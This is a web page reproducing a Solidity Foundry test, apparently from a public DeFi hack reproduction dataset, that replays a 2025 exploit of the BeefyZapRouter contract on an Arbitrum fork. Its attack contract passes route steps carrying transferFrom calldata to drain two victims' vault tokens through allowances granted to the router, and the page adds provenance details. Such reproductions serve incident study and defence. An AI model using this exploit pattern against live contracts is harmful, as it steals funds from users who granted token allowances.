Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/BeefyZapRouter_exp.sol

Public reproduction file for dataset entry BeefyZapRouter.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/BeefyZapRouter_exp.sol130 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 6,584.95 USD
8// Attacker : 0x3c6184f4Ee527600Dcc0163cCC47dedd110A6101
9// Attack Contract : 0x398A526582dA473750d22e3FE1e3344638865ac0
10// Vulnerable Contract : 0xf49F7bB6F4F50d272A0914a671895c4384696E5A
11// Attack Tx : https://arbiscan.io/tx/0x536463212dfcdf99616b8fda50795bc8374b07b0cddc505da431f37786d1f857
12//
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0xf49F7bB6F4F50d272A0914a671895c4384696E5A#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1664
18//
19// Attack summary: BeefyZapRouter.executeOrder() lets the caller supply arbitrary route steps. The direct execution path
20// only requires msg.sender to equal order.user. The attacker set order.user to its helper contract and supplied route
21// steps whose targets were ERC20 vault tokens and whose calldata was transferFrom(victim, attacker, amount).
22// Root cause: arbitrary external route execution allowed token transferFrom calldata to spend third-party allowances
23// granted to the ZapRouter.
25address constant ATTACKER = 0x3c6184f4Ee527600Dcc0163cCC47dedd110A6101;
26address constant ATTACK_CONTRACT = 0x398A526582dA473750d22e3FE1e3344638865ac0;
27address constant VICTIM_A = 0x402a29fbb2F8b21907f89F257f9CDeD90a815a80;
28address constant VICTIM_B = 0x8BC19C94D8e7f0896507bbb399742DAa1e13d26E;
29address constant BEEFY_ZAP_ROUTER = 0xf49F7bB6F4F50d272A0914a671895c4384696E5A;
30address constant BEEFY_VAULT_A = 0x25071C7Cf437F756a4AF9260aDCe5a639e143F93;
31address constant BEEFY_VAULT_B = 0x36295709Ebb6df19f6D78127F8D2e5580AE7336f;
33uint256 constant VAULT_A_AMOUNT = 2_782_482_153_324_467_704_932;
34uint256 constant VAULT_B_AMOUNT = 2_779_110_877_218_055_686_129;
36interface IBeefyZapRouter {
37 struct Input {
38 address token;
39 uint256 amount;
40 }
42 struct Output {
43 address token;
44 uint256 minOutputAmount;
45 }
47 struct Relay {
48 address target;
49 uint256 value;
50 bytes data;
51 }
53 struct StepToken {
54 address token;
55 int32 index;
56 }
58 struct Step {
59 address target;
60 uint256 value;
61 bytes data;
62 StepToken[] tokens;
63 }
65 struct Order {
66 Input[] inputs;
67 Output[] outputs;
68 Relay relay;
69 address user;
70 address recipient;
71 }
73 function executeOrder(Order calldata order, Step[] calldata route) external payable;
76contract ContractTest is BaseTestWithBalanceLog {
77 BeefyZapRouterAttack private exploit;
79 function setUp() public {
80 uint256 forkBlock = 368_133_328;
81 vm.createSelectFork("arbitrum", forkBlock);
82 vm.label(ATTACKER, "Attacker");
83 vm.label(ATTACK_CONTRACT, "Attack Contract");
84 vm.label(VICTIM_A, "Victim A");
85 vm.label(VICTIM_B, "Victim B");
86 vm.label(BEEFY_ZAP_ROUTER, "Beefy ZapRouter");
87 vm.label(BEEFY_VAULT_A, "Beefy Vault A");
88 vm.label(BEEFY_VAULT_B, "Beefy Vault B");
90 exploit = new BeefyZapRouterAttack();
91 fundingToken = BEEFY_VAULT_A;
92 attacker = address(exploit);
93 }
95 function testExploit() public balanceLog {
96 uint256 victimABefore = IERC20(BEEFY_VAULT_A).balanceOf(VICTIM_A);
97 uint256 victimBBefore = IERC20(BEEFY_VAULT_B).balanceOf(VICTIM_B);
99 exploit.run();
101 assertEq(IERC20(BEEFY_VAULT_A).balanceOf(address(exploit)), VAULT_A_AMOUNT, "vault A profit");
102 assertEq(IERC20(BEEFY_VAULT_B).balanceOf(address(exploit)), VAULT_B_AMOUNT, "vault B profit");
103 assertEq(victimABefore - IERC20(BEEFY_VAULT_A).balanceOf(VICTIM_A), VAULT_A_AMOUNT, "victim A loss");
104 assertEq(victimBBefore - IERC20(BEEFY_VAULT_B).balanceOf(VICTIM_B), VAULT_B_AMOUNT, "victim B loss");
105 }
108contract BeefyZapRouterAttack {
109 function run() external {
110 IBeefyZapRouter.Order memory order;
111 order.inputs = new IBeefyZapRouter.Input[](0);
112 order.outputs = new IBeefyZapRouter.Output[](0);
113 order.relay = IBeefyZapRouter.Relay({target: address(0), value: 0, data: ""});
114 order.user = address(this);
115 order.recipient = address(this);
117 IBeefyZapRouter.Step[] memory route = new IBeefyZapRouter.Step[](2);
118 route[0].target = BEEFY_VAULT_A;
119 route[0].value = 0;
120 route[0].data = abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM_A, address(this), VAULT_A_AMOUNT);
121 route[0].tokens = new IBeefyZapRouter.StepToken[](0);
123 route[1].target = BEEFY_VAULT_B;
124 route[1].value = 0;
125 route[1].data = abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM_B, address(this), VAULT_B_AMOUNT);
126 route[1].tokens = new IBeefyZapRouter.StepToken[](0);
128 IBeefyZapRouter(BEEFY_ZAP_ROUTER).executeOrder(order, route);
129 }

Analysis

Dataset entry

Public Foundry test for “BeefyZapRouter” (2025-08-13). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3c6184f4ee527600dcc0163ccc47dedd110a6101

  • Attack Contract

    0x398a526582da473750d22e3fe1e3344638865ac0

  • Vulnerable Contract

    0xf49f7bb6f4f50d272a0914a671895c4384696e5a

  • Attack Tx

    0x536463212dfcdf99616b8fda50795bc8374b07b0cddc505da431f37786d1f857

File record

Name
BeefyZapRouter
Path
src/test/2025-08/BeefyZapRouter_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
bd08d744e1e466c4b72cb1adc0542581b869934b
Language
Solidity
Size
131 lines
Date
2025-08-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/BeefyZapRouter_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob bd08d744e1e466c4b72cb1adc0542581b869934b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.